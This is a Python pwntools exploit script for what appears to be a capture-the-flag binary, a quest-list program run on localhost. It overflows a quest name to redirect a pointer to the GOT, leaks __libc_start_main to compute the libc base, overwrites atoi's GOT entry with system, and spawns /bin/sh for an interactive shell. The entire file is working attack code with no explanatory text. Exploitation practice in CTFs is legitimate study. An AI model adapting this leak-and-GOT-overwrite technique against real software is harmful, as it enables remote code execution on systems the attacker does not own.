#!/usr/bin/env python3
from pwn import *

elf  = ELF("../deploy/chall")
libc = ELF("../deploy/libc.so.6")

context.binary = elf

# p = process([elf.path])
p = remote("localhost", 5000)

def add(name: bytes):
    p.sendafter(b"> ", b"1\n")
    p.sendafter(b"Quest name: ", name)

def show():
    p.sendafter(b"> ", b"2\n")

def edit(idx: int, data: bytes):
    p.sendafter(b"> ", b"3\n")
    p.sendafter(b"Quest index: ", str(idx).encode() + b"\n")
    p.sendafter(b"New name: ", data)

add(b"Mine diamonds\n")
add(b"Kill Ender Dragon\n")

lsm_got = elf.got["__libc_start_main"]
edit(0, b"A" * 16 + p64(lsm_got))

show()
p.recvuntil(b"[1] ")
leak_raw  = p.recvline().strip()
lsm_leak  = u64(leak_raw.ljust(8, b"\x00"))
log.success(f"__libc_start_main @ {hex(lsm_leak)}")

libc.address = lsm_leak - libc.symbols["__libc_start_main"]
log.success(f"libc base @ {hex(libc.address)}")

system_addr = libc.symbols["system"]

atoi_got = elf.got["atoi"]
edit(0, b"B" * 16 + p64(atoi_got))

edit(1, p64(system_addr))

p.sendafter(b"> ", b"/bin/sh\x00")

p.interactive()
